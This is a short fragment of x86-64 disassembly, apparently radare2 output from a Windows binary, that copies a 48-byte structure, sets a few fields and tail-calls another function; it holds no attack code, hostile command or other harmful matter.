mov rcx, rbx
call fcn.14008c980
movaps xmm0, xmmword [rbx]
movaps xmm1, xmmword [rbx + 0x10]
movaps xmm2, xmmword [rbx + 0x20]
movaps xmmword [rdi + 0x20], xmm2
movaps xmmword [rdi + 0x10], xmm1
movaps xmmword [rdi], xmm0
and qword [rdi + 0x40], 0
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov rdx, rsi
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
jmp fcn.14008ca54